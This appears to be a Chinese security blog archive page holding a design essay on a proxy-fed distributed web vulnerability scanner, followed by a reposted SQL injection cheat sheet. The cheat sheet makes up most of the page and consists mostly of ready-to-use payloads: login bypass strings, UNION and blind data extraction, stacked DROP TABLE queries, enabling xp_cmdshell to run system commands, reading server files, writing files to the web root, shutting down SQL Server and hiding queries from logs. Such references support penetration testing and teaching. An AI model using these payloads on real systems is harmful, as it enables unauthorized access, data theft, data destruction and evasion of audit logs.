分类目录归档:应用安全

一个简单的分布式WEB扫描器的设计与实践

0x00 前言

作为一个安全从业人员,在平常的工作中总是需要对一些web系统做一些安全扫描和漏洞检测从而确保在系统上线前尽可能多的解决了已知的安全问题,更好地保护我们的系统免受外部的入侵和攻击。而传统的web安全检测和扫描大多基于web扫描器,而实际上其是利用爬虫对目标系统进行资源遍历并配合检测代码来进行,这样可以极大的减少人工检测的工作量,但是随之而来也会导致过多的误报和漏报,原因之一就是爬虫无法获取到一些隐藏很深的系统资源(比如:URL)进行检测。在这篇文章里,笔者主要想和大家分享一下从另一个角度来设计web扫描器从而来解决开头所提到的问题。

0x01 设计

在开始探讨设计之前,我们首先了解一下web漏洞检测和扫描的一般过程和原理。通常我们所说的web漏洞检测和扫描大致分为2种方式:

  • web扫描器:主要利用扫描器的爬虫获取目标系统的所有URL,再尝试模拟访问这些URL获取更多的URL,如此循环,直到所有已知的URL被获取到,或者利用已知字典对目标系统的URL进行暴力穷举从而获取有效的URL资源;之后对获取的URL去重整理,利用已知漏洞的检测代码对这些URL进行检测来判断目标系统是否存在漏洞
  • 人工检测:通过设置代理(如:burp)来截获所有目标系统的访问请求,然后依据经验对可能存在问题的请求修改参数或者添加检测代码并重放(如:burp中的repeat功能)从而判断目标系统是否存在漏洞

对比上面的2种方式,我们可以发现web扫描器可以极大的减少人工检测的工作量,但是却因为爬虫的局限性导致很多事实上存在的资源不能被发现容易造成就误报和漏报;而人工检测可以很好的保证发现漏洞的准确性和针对性,但是却严重依赖于检测人员的经验和时间,尤其是大型系统很难在有限的时间内完成检测,同样会造成漏报。那么,如果能有效地利用扫描器的处理速度以及人工的精准度的话,是不是就可以很好地解决前面的问题了呢?

下面让我们来深究一下两者的各自优势,前者自动化程度高不需要过多的人为干预,后者因为所有请求均来自于真实的访问准确度高。我们不禁思考一下,如果我们有办法可以获取到所有的真实请求(包括:请求头,cookie,url,请求参数等等)并配合扫描器的检测代码是不是更加有针对性且有效地对系统进行漏洞检测呢?

我们设想一下,如果有这样一个系统可以在用户与系统之前获取到所有的请求,并分发给扫描器进行检测,这样只要请求是来自于真实的应用场景或者系统的功能那么就可以最大程度地收集到所有真实有效的资源。故可以设计该系统包含如下的子模块:

  • 客户端:用户访问系统的载体,如:浏览器,手机APP
  • 代理:用于获取来自于客户端的所有请求,如:Burp,Load Balancer
  • 解析器:负责将代理获取的请求数据按照规定格式解析并插入至请求数据库中
  • 请求数据库:用于存放代理获取的所有请求数据以及解析器和扫描器的配置信息
  • 扫描器:具有漏洞检测功能的扫描器,如:自行编写的定制扫描器(hackUtils),SQLMAP,Burp Scanner,WVS,OWASP ZAP等
  • 应用系统:目标应用系统,如: Web系统,APP

基本架构如下:

从上图的设计中,我们可以利用代理将所有访问目标系统的请求获取并存储在一个统一的数据库中,然后将这些真实产生的请求分发给不同的扫描器(比如:常见的OWASP Top10的漏洞,已披露的常见框架或者中间件漏洞等)进行检测。上述设计是高度解耦合地并且每个子模块都是只负责自己的功能相互之间并不干扰,且仅通过中心数据库关联起来,因此我们可以通过设置多个代理和扫描器地随意组合来实现分布式地批量检测。

这种设计架构可以很方便地进行扩展和应用, 例如:

  • 对于漏洞检测或者安全测试人员,我们只需要在本地设置好代理(如:burp),然后在浏览器或者移动APP中正常地访问或者测试应用的每一个页面和功能,接下来的漏洞检测工作就完全交给了扫描器去做,这将极大地节约了时间和避免了大量重复的手工检测的工作量
  • 对于企业系统,我们可以将代理设置在应用前端(如:load balancer),这样所有的请求将会被自动镜像在扫描数据库,并自动分发给多个扫描引擎进行检测,无需手工干预即可发现很多隐藏很深的漏洞

0x02 实践

俗语说的好,“Talk is cheap, show me the code”! 是的,为了更好地了解这种设计思路的好处,笔者设计了一个Demo系统。该系统利用了burp作为代理,当我们在浏览器或者手机的wifi中配置好了代理服务器,漏洞检测的工作将会简化成简单地浏览应用的每一个页面和功能,代理将会自动地收集产生的所有请求数据(包括,各种请求头,cookie,请求方法,请求数据等)然后通过解析器的解析并存储于中央数据库,然后再分发于多个扫描引擎对请求的所有可控输入点进行repeat检测。

效果如下:

以下是我封装的一个python的requests库,它支持发送自定义的cookie,headers的get/post的请求,并可以是使用PhantomJS引擎去解析和渲染GET请求响应的页面中的javascript,css等,可以非常方便的应用于反爬虫和DOM型XSS的检测。

Code:https://github.com/brianwrf/HackRequests

0x03 思考

从漏洞检测的角度来说,经过笔者的测试(以DVWA和WebGoat为例)检测效果还是非常明显和有效的。其实这种类似的设计,很早之前就已经有人做了,那么很多人要问了为什么你还要在重复造个轮子呢?其实原因有以下几点:

  • 系统耦合性较强,不利于进行扩展和改造
  • 在HTTPS的流量捕获上支持的不是很好
  • 没有做到对HTTP请求中所有的可控输入点进行检测,例如,仅仅检测GET/POST数据,而对cookie,user-agent, referer等缺乏检测
  • 缺乏对于DOM的渲染和解析,容易造成对于基于DOM的漏洞的漏报,比如:DOM型的XSS等
  • 不具备分布式部署的能力,无法有效利用分布式处理的优点来提高检测效率
  • 不具备真正的意义上的repeat检测能力,换句话说不能完全模拟用户的请求

当然,上述的设计也存在一些待解决的问题,比如:

  • 若将代理部署至应用前端镜像所有请求,再分发至扫描引擎检测,如何防止真实用户数据泄漏和篡改?可能的解决方案是设置例外,对于敏感字段或者请求进行例外处理。

写在最后

Anyway, 新系统的设计无非是汲取前人的智慧加以优化再为后人铺路,解决问题才是考验系统能力的关键!后续我会继续努力改进其不足,让其更加易于使用!

注:如觉得有意思想转载的话,请注明出处,尊重知识产权,从你我开始,谢谢!

【转载】SQL Injection Cheat Sheet

Original Link: https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

What is an SQL Injection Cheat Sheet?

An SQL injection cheat sheet is a resource in which you can find
detailed technical information about the many different variants of the SQL Injection vulnerability. This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in web application security.

About the SQL Injection Cheat Sheet

This SQL injection cheat sheet was originally
published in 2007 by Ferruh Mavituna on his blog. We have updated it and
moved it over from our CEO’s blog.
Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL
servers. Some of the samples in this sheet might not work in every
situation because real live environments may vary depending on the usage
of parenthesis, different code bases and unexpected, strange and
complex SQL sentences. 

Samples are provided to allow you to get
basic idea of a potential attack and almost every section includes a
brief information about itself.

M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : Possibly all other databases
Examples;
  • (MS) means : MySQL and SQL Server etc.
  • (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Table Of Contents

  1. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

    1. Line Comments

    2. Inline Comments

    3. Stacking Queries

    4. If Statements

    5. Using Integers
    6. String Operations

    7. Strings without Quotes

    8. String Modification & Related
    9. Union Injections

    10. Bypassing Login Screens
    11. Enabling xp_cmdshell in SQL Server 2005
    12. Finding Database Structure in SQL Server
    13. Fast way to extract data from Error Based SQL Injections in SQL Server
    14. Blind SQL Injections
    15. Covering Your Tracks
    16. Extra MySQL Notes
    17. Second Order SQL Injections
    18. Out of Band (OOB) Channel Attacks

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query. 
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.

  • — (SM) 
    DROP sampletable;– 

  • # (M) 
    DROP sampletable;#
Line Comments Sample SQL Injection Attacks
  • Username: admin’–
  • SELECT * FROM members WHERE username = ‘admin’–‘ AND password = ‘password’ 
    This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

  • /*Comment Here*/ (SM)

    • DROP/*comment*/sampletable
    • DR/**/OP/*bypass blacklisting*/sampletable
    • SELECT/*avoid-spaces*/password/**/FROM/**/Members
  • /*! MYSQL Special SQL */ (M) 
    This is a special
    comment syntax for MySQL. It’s perfect for detecting MySQL version. If
    you put a code into this comments it’s going to execute in MySQL only.
    Also you can use this to execute some code only if the server is higher
    than supplied version. 

    SELECT /*!32302 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples
  • ID: 10; DROP TABLE members /* 
    Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members —
  • SELECT /*!32302 1/0, */ 1 FROM tablename 
    Will throw an divison by 0 error if MySQL version is higher than3.23.02
MySQL Version Detection Sample Attacks
  • ID: /*!32302 10*/
  • ID: 10 
    You will get the same response if MySQL version is higher than 3.23.02
  • SELECT /*!32302 1/0, */ 1 FROM tablename 
    Will throw a division by 0 error if MySQL version is higher than3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

  • ; (S) 
    SELECT * FROM members; DROP members–

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

SQL Injection Cheat sheet

About MySQL and PHP; 
To clarify some issues; 
PHP – MySQL doesn’t support stacked queries, Java doesn’t support stacked queries (I’m sure for ORACLE, not quite sure about other databases). Normally
MySQL supports stacked queries but because of database layer in most of
the configurations it’s not possible to execute a second query in
PHP-MySQL applications or maybe MySQL client supports this, not quite
sure. Can someone clarify?

Stacked SQL Injection Attack Samples
  • ID: 10;DROP members —
  • SELECT * FROM products WHERE id = 10; DROP members–

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly andaccurately.

MySQL If Statement

  • IF(condition,true-part,false-part) (M) 
    SELECT IF(1=1,’true’,’false’)

SQL Server If Statement

  • IF condition true-part ELSE false-part (S) 
    IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’

Oracle If Statement

  • BEGIN
    IF condition THEN true-part; ELSE false-part; END IF; END; (O) 
    IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

PostgreSQL If Statement

  • SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P) 
    SELECT CASE WEHEN (1=1) THEN ‘A’ ELSE ‘B’END;
If Statement SQL Injection Attack Samples

if ((select user) = ‘sa’ OR (select user) = ‘dbo’) select 1 else select 1/0 (S) 
This will throw an divide by zero error if current logged user is not “sa” or “dbo”.

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

  • 0xHEXNUMBER (SM) 
    You can  write hex like these; 

    SELECT CHAR(0x66) (S) 
    SELECT 0x5045 (this is not an integer it will be a string from Hex) (M) 
    SELECT 0x50 + 0x45 (this is integer now!) (M)

String  Operations

String related operations. These can be quite useful to build up
injections which are not using any quotes, bypass any other black
listing or determine back end database.

String Concatenation

  • + (S) 
    SELECT login + ‘-‘ + password FROM members
  • || (*MO) 
    SELECT login || ‘-‘ || password FROM members

*About MySQL “||”; 
If MySQL is running in ANSI
mode it’s going to work but otherwise MySQL accept it as `logical
operator` it’ll return 0. A better way to do it is using CONCAT()function in MySQL.

  • CONCAT(str1, str2, str3, …) (M) 
    Concatenate supplied strings. 
    SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

  • 0x457578 (M) – Hex Representation of string 
    SELECT 0x457578 
    This will be selected as string in MySQL. 

    In MySQL easy way to generate hex representations of strings use this; 
    SELECT CONCAT(‘0x’,HEX(‘c:\\boot.ini’))

  • Using CONCAT() in MySQL 
    SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M) 
    This will return ‘KLM’.
  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S) 
    This will return ‘KLM’.
  • SELECT CHR(75)||CHR(76)||CHR(77) (O) 
    This will return ‘KLM’.
  • SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P) 
    This will return ‘KLM’.

Hex based SQL Injection Samples

  • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M) 
    This will show the content of c:\boot.ini

String Modification & Related

  • ASCII() (SMP) 
    Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections. 

    SELECT ASCII(‘a’)

  • CHAR() (SM) 
    Convert an integer of ASCII. 

    SELECT CHAR(64)

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members 
This will combine results from both news table and members table and return all of them.

Another Example: 
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It’s rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

  • SQL Server (S) 
    Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one – check out SQL Server documentation

    SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

  • MySQL (M) 
    Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

  • admin’ —
  • admin’ #
  • admin’/*
  • ‘ or 1=1–
  • ‘ or 1=1#
  • ‘ or 1=1/*
  • ‘) or ‘1’=’1–
  • ‘) or (‘1’=’1–
  • ….
  • Login as different user (SM*) 
    ‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

*Old versions of MySQL doesn’t support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then
compare returned MD5 with supplied password’s MD5 then you need to some
extra tricks to fool application to bypass authentication. You can union
results with a known password and MD5 hash of supplied password. In
this case application will compare your password and your supplied MD5
hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username :admin’ AND 1=0 UNION ALL SELECT ‘admin’, ’81dc9bdb52d04dc20036dbd8313ed055′
Password :1234

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

 

Error Based – Find Columns Names

Finding Column Names with HAVING BY – Error Based (S)

In the same order,

  • ‘ HAVING 1=1 —
  • ‘ GROUP BY table.columnfromerror1 HAVING 1=1 —
  • ‘ GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 —
  • ‘ GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 — and so on
  • If you are not getting any more error then it’s done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

  • ORDER BY 1–
  • ORDER BY 2–
  • ORDER BY N– so on
  • Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,

  • Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.
  • To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
  • Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.

    • Be careful in Blind situtaions may you can understand error is
      coming from DB or application itself. Because languages like ASP.NET
      generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

  • ‘ union select sum(columntofind) from users— (S) 
    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ 
    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. 

    If you are not getting an error it means column is numeric.

  • Also you can use CAST() or CONVERT()

    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null,
      null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL,
      NULL, NULL, NULL, NULL, NULl, NULL–
  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- 
    No Error – Syntax is right. MS SQL Server Used. Proceeding.
  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –- 
    No Error – First column is an integer.
  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 — 
    Error! – Second column is not an integer.
  • 11223344) UNION SELECT 1,’2′,NULL,NULL WHERE 1=2 –- 
    No Error – Second column is a string.
  • 11223344) UNION SELECT 1,’2′,3,NULL WHERE 1=2 –- 
    Error! – Third column is not an integer. … 

    Microsoft OLE DB Provider for SQL Server error ‘80040e07’ 
    Explicit conversion from data type int to image is not allowed.

You’ll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

‘; insert into users values( 1, ‘hax0r’, ‘coolpass’, 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS) 
Version of database and more
details for SQL Server. It’s a constant. You can just select it like any
other column, you don’t need to supply table name. Also, you can use
insert, update statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, ”+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)

Insert a file content to a table. If you don’t know internal path of web application you can read IIS (IIS 6 only) metabase file(%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

    1. Create table foo( line varchar(8000) )
    2. bulk insert foo from ‘c:\inetpub\wwwroot\login.asp’
    3. Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function. 
bcp “SELECT * FROM test..foo” queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int 
exec sp_oacreate ‘wscript.shell’, @o out 
exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ 
Username: ‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ — 

Executing system commands, xp_cmdshell (S)

Well known trick, By default it’s disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell ‘ping ‘

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

  • Error Messages 
    master..sysmessages
  • Linked Servers 
    master..sysservers
  • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm 
    SQL Server 2000: masters..sysxlogins 
    SQL Server 2005 : sys.sql_logins 

More Stored Procedures for SQL Server (S)

  1. Cmd Execute (xp_cmdshell
    exec master..xp_cmdshell ‘dir’
  2. Registry Stuff (xp_regread

    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite 
      exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’ 
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
  3. Managing Services (xp_servicecontrol)
  4. Medias (xp_availablemedia)
  5. ODBC Resources (xp_enumdsn)
  6. Login mode (xp_loginconfig)
  7. Creating Cab Files (xp_makecab)
  8. Domain Enumeration (xp_ntsec_enumdomains)
  9. Process Killing (need PID) (xp_terminate_process)
  10. Add new procedure (virtually you can execute whatever you want
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’ 
    exec xp_webserver
  11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell ‘dir *.exe’;IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME() 
IS_MEMBER (Transact-SQL)  
IS_SRVROLEMEMBER (Transact-SQL)  
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL)  – http://msdn2.microsoft.com/en-us/library/ms190312.aspx

You can not use sub selects in SQL Server Insert queries.

SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,’x’/*,10 ;

If injection is in second limit you can comment it out or use in your union injection

Shutdown SQL Server (S)

When you’re really pissed off, ‘;shutdown —

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous
stored procedures are disabled in SQL Server 2005. If you have admin
access then you can enable these.

EXEC sp_configure ‘show advanced options’,1 
RECONFIGURE

EXEC sp_configure ‘xp_cmdshell’,1 
RECONFIGURE

Finding Database Structure in SQL Server (S)

Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = ‘U’

Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘tablenameforcolumnnames’)

Moving records (S)

  • Modify WHERE and use NOT IN or NOT EXIST
    … WHERE users NOT IN (‘First User’, ‘Second User’) 
    SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) — very good one
  • Using Dirty Tricks 
    SELECT * FROM Product WHERE ID=2 AND
    1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM
    sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p
    where p.x=3) as int 

    Select p.name from (SELECT
    (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype=’U’ and
    i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = ‘U’) as p
    where p.x=21

 

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

‘;BEGIN DECLARE @rt varchar(8000) SET @rd=’:’ SELECT @rd=@rd+’
‘+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name =
‘MEMBERS’) AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;–

Detailed Article: Fast way to extract data from Error Based SQL Injections

Finding Database Structure in MySQL (M)

Getting User defined Tables

SELECT table_name FROM information_schema.tables WHERE table_schema = ‘tablename’

Getting Column Names

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = ‘tablename’

Finding Database Structure in Oracle (O)

Getting User defined Tables

SELECT * FROM all_tables WHERE OWNER = ‘DATABASE_NAME’

Getting Column Names

SELECT * FROM all_col_comments WHERE TABLE_NAME = ‘TABLE’

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page,
so you can not extract data through Union attacks or error based
attacks. You have to do use Blind SQL Injections attacks to extract
data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code 
Totally Blind,
You can not see any difference in the output in any kind. This can be
an injection a logging function or similar. Not so common, though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY ‘0:0:10’ in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while
exploiting SQL Server back ended application and enumerating table
names. This requests done for first char of the first table name. SQL
queries a bit more complex then requirement because of automation
reasons. In we are trying to determine an ascii value of a char via
binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)>78– 

FALSE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>103– 

TRUE : SELECT
ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89– 

TRUE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83– 

TRUE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80– 

FALSE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)

Since both of the last 2 queries failed we clearly know table name’s first char’s ascii value is 80 which means first char is `P`.
This is the way to exploit Blind SQL injections by binary search
algorithm. Other well-known way is reading data bit by bit. Both can be
effective in different conditions.

 

Making Databases Wait / Sleep For Blind SQL Injection Attacks

First of all use this if it’s really blind, otherwise just use 1/0
style errors to identify difference. Second, be careful while using
times more than 20-30 seconds. database API connection or script can be
timeout.

WAIT FOR DELAY ‘time’ (S)

This is just like sleep, wait for specified time. CPU safe way to make database wait.

WAITFOR DELAY ‘0:0:10’–

Also, you can use fractions like this,

WAITFOR DELAY ‘0:0:0.51’

Real World Samples

  • Are we ‘sa’ ? 
    if (select user) = ‘sa’ waitfor delay ‘0:0:10’
  • ProductID = 1;waitfor delay ‘0:0:10’–
  • ProductID =1);waitfor delay ‘0:0:10’–
  • ProductID =1′;waitfor delay ‘0:0:10’–
  • ProductID =1′);waitfor delay ‘0:0:10’–
  • ProductID =1));waitfor delay ‘0:0:10’–
  • ProductID =1′));waitfor delay ‘0:0:10’–

BENCHMARK() (M)

Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

BENCHMARK(howmanytimes, do this)

Real World Samples

  • Are we root ? woot! 
    IF EXISTS (SELECT * FROM users WHERE username = ‘root’) BENCHMARK(1000000000,MD5(1))
  • Check Table exist in MySQL 
    IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

  • SELECT pg_sleep(10); 
    Sleep 10 seconds.

sleep(seconds) (M)

Sleep for supplied seconds.

  • SELECT sleep(10); 
    Sleep 10 seconds.

dbms_pipe.receive_message (O)

Sleep for supplied seconds.

  • (SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message((‘xyz’),10) ELSE dbms_pipe.receive_message((‘xyz’),1) END FROM dual)

    {INJECTION} = You want to run the query.

    If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.

Covering Your Tracks

SQL Server -sp_password log bypass (S)

SQL Server don’t log queries that includes sp_password for security
reasons(!). So if you add –sp_password to your queries it will not be
in SQL Server logs (of course still will be in web server logstry to use POST if it’s possible)

Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

  1. product.asp?id=4 (SMO)

    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1 

  2. product.asp?name=Book

    1. product.asp?name=Bo’%2b’ok
    2. product.asp?name=Bo’ || ‘ok (OM)
    3. product.asp?name=Book’ OR ‘x’=’x

Extra MySQL Notes

  • Sub Queries are working only MySQL 4.1+
  • Users

    • SELECT User,Password FROM mysql.user;
  • SELECT 1,1 UNION SELECT
    IF(SUBSTRING(Password,1,1)=’2′,BENCHMARK(100000,SHA1(1)),0)
    User,Password FROM mysql.user WHERE User = ‘root’;
  • SELECT … INTO DUMPFILE

    • Write query into a new file (can not modify existing files)
  • UDF Function

    • create function LockWorkStation returns integer soname ‘user32’;
    • select LockWorkStation(); 
    • create function ExitProcess returns integer soname ‘kernel32’;
    • select exitprocess();
  • SELECT USER();
  • SELECT password,USER() FROM mysql.user;
  • First byte of admin hash

    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
  • Read File

    • query.php?user=1+union+select+load_file(0x63…),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • MySQL Load Data infile 

    • By default it’s not available !

      • create table foo( line blob ); 
        load data infile ‘c:/boot.ini’ into table foo; 
        select * from foo;
  • More Timing in MySQL
  • select benchmark( 500000, sha1( ‘test’ ) );
  • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • select if( user() like ‘root@%’, benchmark(100000,sha1(‘test’)), ‘false’ ); 
    Enumeration data, Guessed Brute Force

    • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1(‘test’)), ‘false’ );

Potentially Useful MySQL Functions

  • MD5() 
    MD5 Hashing
  • SHA1() 
    SHA1 Hashing
  • PASSWORD()
  • ENCODE()
  • COMPRESS() 
